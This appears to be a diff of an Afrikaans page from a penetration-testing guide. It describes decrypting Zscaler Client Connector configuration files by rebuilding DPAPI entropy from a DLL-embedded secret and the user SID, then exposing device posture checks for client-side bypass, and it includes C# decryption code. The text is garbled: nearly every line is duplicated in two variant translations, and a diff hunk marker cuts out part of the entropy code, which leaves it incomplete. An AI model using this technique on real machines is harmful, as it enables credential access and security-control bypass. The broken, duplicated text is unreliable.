Zscaler Client Connector berg verskeie konfigurasielêers onder `C:\ProgramData\Zscaler` (bv. `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Elke lêer is met **DPAPI (Machine scope)** enkripteer, maar die verkoper voorsien **aangepaste entropie** wat *by runtime bereken* word in plaas daarvan om op skyf gestoor te word.
Zscaler Client Connector stoor verskeie konfigurasielêers onder `C:\ProgramData\Zscaler` (bv. `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Elke lêer is versleuteld met **DPAPI (Machine scope)** maar die vendor verskaf **custom entropy** wat *by runtime bereken* word in plaas daarvan om op skyf gestoor te word.
Die entropie word herbou uit twee elemente:
Die entropie word heropgebou uit twee elemente:
1. 'n vasgekodeerde geheim ingebed in `ZSACredentialProvider.dll`.
2. Die **SID** van die Windows-rekening waaraan die konfigurasie behoort.
1. 'n hard-coded geheim ingebed in `ZSACredentialProvider.dll`.
2. Die **SID** van die Windows-rekening waartoe die konfigurasie behoort.
Die algoritme wat deur die DLL geïmplementeer is, is ekwivalent aan:
Die algoritme wat deur die DLL geïmplementeer word is ekwivalent aan:
```csharp
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID);
@ -325,17 +326,17 @@ byte[] entropy = new byte[tmp.Length / 2];
for (int i = 0; i < entropy.Length; i++)
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
```
Omdat die geheim in 'n DLL ingebed is wat vanaf die skyf gelees kan word, **enige plaaslike aanvaller met SYSTEM rights kan die entropy vir enige SID hergenereer** en die blobs offline ontsleutel:
Omdat die geheim in 'n DLL ingebed is wat vanaf die skyf gelees kan word, kan enige plaaslike attacker met SYSTEM rights die entropie vir enige SID hergenereer en die blobs offline ontsleutel:
```csharp
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
Console.WriteLine(Encoding.UTF8.GetString(clear));
```
Ontsleuteling lewer die volledige JSON-konfigurasie, insluitend elke **device posture check** en die verwagte waarde daarvan inligting wat baie waardevol is wanneer pogings tot client-side bypasses aangewend word.
Ontsleuteling lewer die volledige JSON-konfigurasie, insluitend elke **toestel-houdingstoets** en die verwagte waarde daarvan inligting wat baie waardevol is wanneer kliëntkant-omseilings probeer word.
> WENK: die ander versleutelde artefakte (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) word beskerm met DPAPI **sonder** entropie (`16` nul bytes). Hulle kan daarom direk gedekripteer word met `ProtectedData.Unprotect` sodra SYSTEM-privileges verkry is.
> WENK: die ander geënkripteerde artefakte (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) is beskerm met DPAPI **sonder** entropie (`16` nulbytes). Daarom kan hulle direk ontsleutel word met `ProtectedData.Unprotect` sodra SYSTEM privileges verkry is.
## Verwysings
## References
- [Synacktiv Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)